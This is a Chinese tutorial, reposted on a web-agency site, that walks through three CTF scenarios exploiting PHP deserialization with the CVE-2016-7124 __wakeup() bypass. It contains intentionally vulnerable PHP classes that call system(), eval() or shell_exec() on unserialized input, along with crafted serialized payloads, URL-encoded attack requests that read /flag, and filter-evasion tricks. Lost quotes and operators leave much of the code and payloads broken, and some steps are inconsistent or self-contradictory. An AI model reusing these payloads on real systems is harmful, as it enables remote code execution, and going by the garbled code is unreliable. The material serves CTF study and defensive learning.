拓冰建站拓冰建站
首页 / 资讯中心 / 正文

PHP反序列化漏洞实战:CVE-2016-7124绕过__wakeup()的三种CTF场景解析

1. 项目概述与核心价值在Web安全领域PHP反序列化漏洞一直是CTF比赛和真实渗透测试中的“常客”也是许多安全从业者必须啃下的硬骨头。这个漏洞的根源在于当开发者将用户可控的数据直接传递给unserialize()函数时如果代码中定义了包含“魔术方法”的类攻击者就有可能通过精心构造的序列化字符串触发这些方法进而执行任意代码或进行敏感操作。这就像把一串别人给你的、看似无害的“零件清单”序列化字符串交给一个自动化的“组装机器人”unserialize函数而这个机器人会严格按照清单把零件拼成一个“机器”对象。如果清单里夹带了私货让机器人拼出了一个“炸弹”后果可想而知。今天我们聚焦于一个经典的、也是新手进阶路上绕不开的“拦路虎”__wakeup()魔术方法。很多防御代码会利用__wakeup()在反序列化时自动执行的特性来重置对象属性或进行安全检查试图“净化”反序列化过程。然而道高一尺魔高一丈存在一个著名的CVE-2016-7124漏洞允许我们通过修改序列化字符串中的对象属性数量来“绕过”__wakeup()的执行。这篇文章我将以一个老CTFer的视角不仅带你彻底搞懂__wakeup()绕过的原理更会手把手带你复现三个不同难度的CTF真题让你从“知道”到“会用”最终能独立分析和利用这类漏洞。无论你是刚入门Web安全的新手还是想巩固反序列化知识的老手这篇实战指南都将为你提供清晰的路径和可直接复现的靶场环境。2. 核心原理为什么能绕过__wakeup()要理解绕过首先要理解__wakeup()本身。在PHP中__wakeup()是一个魔术方法当一个对象被unserialize()函数反序列化时如果该对象的类中定义了__wakeup()方法那么这个方法会在整个反序列化过程完成之后、对象被使用之前被自动调用。开发者常常在这里面写一些初始化逻辑比如重新建立数据库连接、验证对象数据的完整性或者——在安全场景下——重置某些可能被用户篡改的危险属性。那么CVE-2016-7124这个漏洞的突破口在哪里关键在于PHP在解析序列化字符串时的一个逻辑缺陷。一个标准的对象序列化字符串格式是这样的O:4:Test:1:{s:4:name;s:3:Bob;}。其中O表示对象4是类名长度Test是类名紧接着的1表示这个对象有1个属性。漏洞原理是当unserialize()函数在解析序列化字符串时如果发现其中声明的对象属性数量即上面例子中的1大于该对象类实际拥有的属性数量时它会跳过对__wakeup()方法的调用。为什么会有这种设计一种合理的推测是PHP内核在处理反序列化时需要根据声明的属性数量来分配内存和读取相应数量的键值对。如果声明的数量多于实际类定义的数量可能被视为一种“异常”或“不一致”的状态。在早期版本中PHP选择了一种“宽容”但“不安全”的处理方式为了不让程序因这种不一致而直接崩溃它选择继续执行但跳过了__wakeup()这个初始化步骤以避免在对象状态不完全正确时执行可能依赖完整状态的__wakeup()代码。这原本可能是一个为了健壮性考虑的容错机制却意外地成为了安全漏洞的源头。注意版本限制这个漏洞影响特定版本的PHP。主要影响范围是PHP 5.x 系列版本号小于 5.6.25PHP 7.x 系列版本号小于 7.0.10 在后续版本中这个漏洞已被修复。因此在实战或CTF中首先要确认目标环境的PHP版本是否在受影响范围内。很多CTF题目会特意使用存在漏洞的PHP版本来构建环境。3. 绕过__wakeup()的实战手法拆解理解了原理我们来看看具体怎么操作。假设我们有如下一个存在漏洞的类?php class VulnerableClass { public $cmd whoami; public function __wakeup() { // 开发者试图在这里“消毒”将危险的cmd属性重置 $this-cmd harmless_command; echo [Wakeup Called] Cmd has been reset to: . $this-cmd . \n; } public function __destruct() { // 析构函数中执行命令这是我们的攻击目标 system($this-cmd); } } // 用户输入点 $data $_GET[data]; $obj unserialize($data); ?开发者的意图是好的无论用户传入的序列化数据里$cmd是什么__wakeup()都会把它覆盖成harmless_command。然而利用CVE-2016-7124我们可以这样构造Payload正常会被拦截的序列化数据O:15:VulnerableClass:1:{s:3:cmd;s:6:whoami;}绕过__wakeup()的序列化数据O:15:VulnerableClass:2:{s:3:cmd;s:6:whoami;}唯一的区别就是把属性数量从1改成了2。当PHP漏洞版本解析这个字符串时它知道VulnerableClass这个类。它读取到属性数量声明为2。它开始尝试读取两个属性。但我们的字符串里只提供了一个属性cmd。由于数量不匹配PHP触发了漏洞逻辑跳过了__wakeup()方法的调用。反序列化过程继续创建了一个VulnerableClass对象其$cmd属性值仍然是我们传入的whoami。脚本结束时对象销毁触发__destruct()成功执行了system(whoami)。实操心得属性数量“大于”是关键这里必须强调是“大于”实际属性数量。如果你改成0或者小于实际数量比如类有2个属性你声明为1__wakeup()依然会被调用甚至可能因为属性读取错位而导致反序列化失败或产生不可预知的行为。所以最稳妥的绕过方法就是将声明的属性数量设置为一个明显大于类中public属性个数的数字比如999。4. CTF真题复现一基础绕过与命令执行我们先从一个最直接的题目开始巩固刚才学到的知识。假设题目源码如下通常CTF中你会通过文件泄露或代码审计得到类似源码?php // index.php error_reporting(0); highlight_file(__FILE__); class Welcome { public $name; public $arg echo Hello, noob!;; public function __wakeup() { $this-arg echo Wake up! Nothing to see here.;; } public function __destruct() { eval($this-arg); } } if (isset($_GET[data])) { $data $_GET[data]; if (strpos($data, flag) ! false) { die(Hacker!); } unserialize($data); } ?题目分析目标我们需要让__destruct()中的eval($this-arg)执行我们想要的代码比如读取/flag文件。障碍__wakeup()方法会把$arg重置为一段无害的echo代码。过滤GET参数data中不能包含字符串flag。利用点存在CVE-2016-7124漏洞从题目环境通常可推断或提示PHP版本较旧。解题步骤第一步构造恶意对象我们需要创建一个Welcome类的对象并将其$arg属性设置为我们想要执行的PHP代码。注意绕过flag过滤。我们可以用读取文件的函数比如file_get_contents或highlight_file目标文件可能就叫flag。?php class Welcome { public $name; public $arg; } $obj new Welcome(); // 使用highlight_file可以同时显示文件内容且不含‘flag’字符串 $obj-arg highlight_file(/flag);; // 或者用system执行命令但要注意题目是否禁用函数 // $obj-arg system(cat /flag);; echo serialize($obj); ?运行上述脚本得到正常的序列化字符串O:7:Welcome:2:{s:4:name;N;s:3:arg;s:24:highlight_file(/flag);;}第二步应用__wakeup绕过将属性数量从2修改为一个更大的数例如3。 修改后的Payload为O:7:Welcome:3:{s:4:name;N;s:3:arg;s:24:highlight_file(/flag);;}第三步发起攻击将Payload进行URL编码特别是{}、等字符通过GET参数data提交。 访问URLhttp://靶机地址/index.php?dataO:7%3A%22Welcome%22%3A3%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A3%3A%22arg%22%3Bs%3A24%3A%22highlight_file%28%22%2Fflag%22%29%3B%22%3B%7D如果环境配置正确页面将显示/flag文件的内容而不是Wake up! Nothing to see here.。注意事项属性计数在序列化字符串中O:7:Welcome:2:{...}里面的2统计的是类中所有已定义且在序列化时存在值的属性数量。在上面的Welcome类中我们有两个属性$name和$arg。即使$name为NULL它也被计算在内。所以基础数量是2。绕过时我们将其改为3、4等均可。5. CTF真题复现二结合POP链与属性引用现实中的漏洞很少这么“单纯”。__wakeup()绕过常常需要和POPProperty-Oriented Programming链构造结合并利用一些PHP特性。看下面这个稍复杂的例子?php // index.php highlight_file(__FILE__); class Door { public $handle; public function __toString() { return $this-handle-open(); } } class Key { public $code; public function open() { eval($this-code); } } class Security { public $check; public $door; public function __wakeup() { if ($this-check ! secret) { $this-door null; echo Security Check Failed!\n; } } public function __destruct() { echo $this-door; } } if (isset($_POST[data])) { $data $_POST[data]; unserialize($data); } ?题目分析目标最终执行Key::open()中的eval($this-code)。调用链POP链__destruct()-echo $this-door- 如果$door是Door对象触发__toString()-$this-handle-open()- 如果$handle是Key对象调用Key::open()。障碍Security类的__wakeup()会检查$check是否为secret如果不是就把关键的$door属性置为null破坏我们的POP链。思路我们需要让$check等于secret来通过检查但$check的值是我们可控的这似乎不是问题。关键在于我们想绕过__wakeup()吗不这里我们需要__wakeup()执行因为它通过了检查才会保留$door。等等仔细看__wakeup()里是if ($this-check ! secret)也就是说只要$check不等于secret$door就会被清空。我们必须让$check等于secret。这很简单。但是题目真正的考点可能藏在别处——比如利用引用来在__wakeup()执行后依然修改属性值。引入新技巧利用引用ReferencePHP中引用意味着两个变量指向同一个内存地址。如果一个对象属性是另一个属性的引用那么修改其中一个另一个也会同步变化。这可以用来对抗某些在魔术方法中的重置操作。假设__wakeup()是这样的public function __wakeup() { $this-check verified; // 强制修改 if ($this-check ! secret) { $this-door null; } }这种情况下即使我们传入$checksecret它也会在__wakeup()中被覆盖成verified导致检查失败。如何绕过我们可以让$check成为$door某个属性的引用。但这里$door预期是一个对象。更巧妙的做法是让$check和$door共同引用另一个我们可控的变量但这个变量本身不在对象属性中这需要更复杂的构造。一个更直接的思路是如果__wakeup()在检查后还有别的代码能修改被引用的值呢但本题的__wakeup()没有。本题的解法结合绕过与POP链实际上本题的__wakeup()没有重置$check只是读取它。所以我们不需要绕过__wakeup()只需要正确构造POP链并通过检查。但为了演示“绕过引用”的组合技我们假设一个变种__wakeup()中有一行$this-check md5(time());动态生成一个值使我们无法预先知道。那么我们可以这样构造创建一个Security对象$sec。让$sec-check引用$sec-door-handle-code假设$door是Door对象$handle是Key对象$code是我们要执行的命令字符串。在序列化字符串中$code的值为secret为了通过__wakeup()检查。__wakeup()执行时它读取$check其值通过引用指向$code所以是secret检查通过。__wakeup()执行后在__destruct()触发前我们有没有办法修改$code呢在这个单次请求的例子里没有。但如果在POP链的某个环节有其他方法可以修改$code指向的内容那么$check也会同步变化。这通常用于满足后续的条件判断。构造Payload?php class Door { public $handle; } class Key { public $code; } class Security { public $check; public $door; } $key new Key(); $key-code secret; // 初始值用于通过__wakeup检查 $door new Door(); $door-handle $key; $sec new Security(); $sec-door $door; // 让$check成为$code的引用 $sec-check $key-code; // 现在$sec-check 和 $key-code 指向同一个字符串‘secret’ // 序列化时引用关系会被保留序列化字符串中会表示为R指针 echo serialize($sec); ?生成的序列化字符串会包含引用标识R或r。然后我们再手动修改Security对象的属性数量以绕过可能存在的、会破坏引用或重置$check的__wakeup()逻辑假设存在这样的变种。例如将O:8:Security:2:{...}中的2改为3。实操心得引用在序列化中的表示PHP序列化中的引用使用R或r加数字索引来表示。例如R:2;表示引用之前定义过的第2个元素。在手动构造或修改Payload时需要小心维护这种引用关系否则反序列化时会出错。对于复杂引用建议先用脚本生成基础Payload再在其基础上进行__wakeup绕过所需的修改。6. CTF真题复现三综合挑战与十六进制绕过最后一个题目我们将面对更真实的场景WAFWeb应用防火墙或简单的字符串过滤。题目如下?php // index.php highlight_file(__FILE__); class Backdoor { private $command id; protected $output; public $dummy test; public function __wakeup() { // 尝试消毒但只处理了public属性 $this-command ls -la; $this-output ; } public function __destruct() { // 执行命令并存储输出 $this-output shell_exec($this-command); echo preOutput:\n . $this-output . /pre; } } function safe_unserialize($input) { // 简单的WAF过滤序列化字符串中的某些关键词 $blacklist [system, exec, passthru, shell_exec, , flag, /etc/passwd]; foreach ($blacklist as $bad) { if (stripos($input, $bad) ! false) { die(Dangerous input detected!); } } // 额外检查对象属性数量是否异常多试图防御CVE-2016-7124 if (preg_match(/O:\d:[^]:(\d):/, $input, $matches)) { $prop_count intval($matches[1]); if ($prop_count 5) { // 假设正常属性不会超过5个 die(Suspicious property count!); } } return unserialize($input); } if (isset($_GET[payload])) { $payload $_GET[payload]; $obj safe_unserialize($payload); } ?题目分析目标执行任意命令如cat /flag并看到输出。障碍1__wakeup()会把私有属性$command重置为ls -la。障碍2safe_unserialize函数过滤了常见危险函数名和路径。障碍3WAF还检查了对象属性数量超过5就拒绝这限制了我们将数量改为极大值如999来绕过__wakeup。类属性可见性$command是private在序列化字符串中格式为\x00类名\x00属性名。$output是protected格式为\x00*\x00属性名。思路绕过WAF关键词过滤可以使用十六进制编码\x或Unicode编码来绕过字符串匹配。PHP在反序列化时如果属性名的类型标识s是大写的S则会将其后的字符串视为十六进制编码进行解析。绕过属性数量检查题目只检查了大于5的情况。我们的Backdoor类有3个属性1 private, 1 protected, 1 public。我们可以将数量改为4或5这既大于实际数量3以触发CVE-2016-7124绕过__wakeup又不超过WAF的阈值5。利用私有/受保护属性我们需要正确构造包含不可见字符\x00的属性名。解题步骤第一步生成基础Payload首先编写脚本生成一个正常的Backdoor对象序列化字符串注意私有和受保护属性的表示。?php class Backdoor { private $command cat /flag;; // 要执行的命令 protected $output; public $dummy test; } $obj new Backdoor(); echo serialize($obj); // 输出类似注意不可见字符: // O:8:Backdoor:3:{s:14:\x00Backdoor\x00command;s:11:cat /flag;;s:9:\x00*\x00output;N;s:5:dummy;s:4:test;} ?由于\x00在网页和命令行中可能不显示或传输有问题我们得到的是原始字符串。为了在HTTP请求中传输我们需要对其进行URL编码。第二步应用__wakeup绕过将属性数量从3修改为4或5。我们选择4。 修改字符串开头的O:8:Backdoor:3:{为O:8:Backdoor:4:{。第三步绕过关键词过滤十六进制编码WAF过滤了flag。我们的命令cat /flag;中含有flag。我们需要对属性名或属性值中的敏感词进行编码。这里我们对属性值即命令字符串进行编码比较麻烦因为它是值的一部分。更有效的方法是对属性名进行十六进制编码这可以扰乱WAF对整体字符串的简单匹配但WAF主要过滤的是值的内容。实际上WAF的stripos是对整个输入字符串进行搜索。cat /flag;这个值会被检测到。我们需要改变这个值的表示形式使其不被识别为flag。我们可以使用连接符cat /fl.ag;(但.在shell中会被当作字符串连接反序列化后是PHP字符串需要最终能被shell_exec正确解析。shell_exec收到的是字符串cat /fl.ag;这无法找到文件)。变量替换cat /fl$ag(需要$ag变量有定义不现实)。编码绕过使用十六进制或八进制表示。在Bash中可以用$()或反引号执行子命令如cat /$(echo -e \x66\x6c\x61\x67)。但这样命令本身还是包含了flag的十六进制形式如果WAF也检测十六进制呢风险高。一个更稳妥的思路是既然__wakeup会被绕过我们能否利用一个不在黑名单里的命令再通过这个命令去读取flag例如使用find / -name *lag* 2/dev/null先找到flag文件再用cat命令。但find和cat可能也在黑名单题目只列出了几个。我们假设cat不在黑名单但flag在。我们可以尝试用通配符?或*。例如如果flag文件名为flag.txt或flag我们可以用cat /fla?或cat /fla*。但/fla*可能匹配到其他文件。需要看具体环境。为了演示十六进制编码绕过我们假设WAF没有检测cat只检测了flag。我们构造一个使用通配符的命令cat /fla*。但fla还是可能被简单的字符串匹配抓到不一定因为stripos是完整匹配。fla不是flag。但为了展示技术我们对私有属性名\x00Backdoor\x00command进行十六进制编码。规则是将类型标识符s改为大写的S并将属性名字符串中的每个字符替换为其十六进制ASCII码并用\分隔。原属性名长度14\x00Backdoor\x00command将其视为普通字符串每个字符的ASCII码\x00(ASCII 0) -\00B(66) -\42a(97) -\61c(99) -\63k(107) -\6bd(100) -\64o(111) -\6fo(111) -\6fr(114) -\72\x00(0) -\00c(99) -\63o(111) -\6fm(109) -\6dm(109) -\6da(97) -\61n(110) -\6ed(100) -\64所以十六进制编码后的属性名表示为\00\42\61\63\6b\64\6f\6f\72\00\63\6f\6d\6d\61\6e\64。注意这里的长度是字节数一个\xx算一个字节所以长度还是14。在序列化字符串中这部分变为S:14:\00\42\61\63\6b\64\6f\6f\72\00\63\6f\6d\6d\61\6e\64;第四步组合最终Payload我们构造一个最终Payload它将属性数量改为4。对私有属性command的名称进行十六进制编码s改为S。命令值使用cat /fla*假设通配符可行。受保护属性output和公共属性dummy保持不变。原始未绕过数量的序列化字符串已显示转义O:8:Backdoor:3:{s:14:\x00Backdoor\x00command;s:10:cat /fla*;s:9:\x00*\x00output;N;s:5:dummy;s:4:test;}修改后绕过__wakeup 十六进制编码属性名O:8:Backdoor:4:{S:14:\00\42\61\63\6b\64\6f\6f\72\00\63\6f\6d\6d\61\6e\64;s:10:cat /fla*;s:9:\x00*\x00output;N;s:5:dummy;s:4:test;}第五步URL编码并提交将上述Payload进行全面的URL编码特别注意{、}、:、、\、;等字符。 最终请求URL类似http://靶机地址/index.php?payloadO%3A8%3A%22Backdoor%22%3A4%3A%7BS%3A14%3A%22%5C00%5C42%5C61%5C63%5C6b%5C64%5C6f%5C6f%5C72%5C00%5C63%5C6f%5C6d%5C6d%5C61%5C6e%5C64%22%3Bs%3A10%3A%22cat%2Ffla%2A%22%3Bs%3A9%3A%22%5C00%2A%5C00output%22%3BN%3Bs%3A5%3A%22dummy%22%3Bs%3A4%3A%22test%22%3B%7D如果一切顺利页面将显示cat /fla*命令的执行结果其中包含flag文件的内容。常见问题与排查技巧实录Payload提交后没反应或报错首先检查PHP版本是否在漏洞范围内。然后检查序列化字符串的语法是否正确特别是引号、分号、大括号是否配对属性数量修改后后面属性列表的格式是否仍然正确。可以使用在线的PHPunserialize函数测试工具或本地搭建相同版本环境进行测试。__wakeup()依然被执行确保你修改的属性数量是大于类中实际定义并序列化的属性数量。对于包含私有、受保护属性的类要准确计算其数量。一个快速的方法是先用serialize()生成标准字符串看开头的数字是多少然后将其加1或一个较小的数。私有/受保护属性处理失败私有和受保护属性在序列化字符串中包含不可见字符\x00。在手动拼接或修改Payload时必须确保这些字符被正确保留和传输。在URL中\x00需要编码为%00。但在字符串内部表示时它通常是字面的\x00两个字符。最可靠的方法是先用脚本生成基础Payload保存到文件再用十六进制编辑器或echo -en命令查看和修改或者直接使用urlencode()函数处理整个Payload字符串。WAF绕过失败如果十六进制编码被识别可以尝试其他编码方式如将敏感命令拆分成多个字符串在__destruct中拼接或者利用PHP的字符串函数动态生成命令。也可以尝试使用不同的属性名编码如对值进行base64编码然后在__destruct中解码执行但这需要__destruct中的代码支持这种逻辑。关键在于深入理解WAF过滤规则的弱点。命令执行了但没看到flag可能是当前用户权限不足无法读取flag文件。可以尝试先执行whoami、id、ls -la /等命令查看权限和目录结构。也可能是flag不在根目录需要寻找。命令find / -type f -name *flag* 2/dev/null可以帮助定位文件。绕过__wakeup()只是PHP反序列化漏洞利用中的一环。真正的挑战往往在于如何结合POP链构造、属性引用、字符串逃逸、Phar反序列化等多种技术在复杂的代码逻辑中找到一条通往eval()、system()或文件读写等危险函数的路径。这需要耐心、细致的代码审计能力和对PHP特性的深刻理解。希望这三个由浅入深的实战案例能为你打开这扇门并在下一次遇到类似题目时让你能自信地说“这个__wakeup()我绕定了。”
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门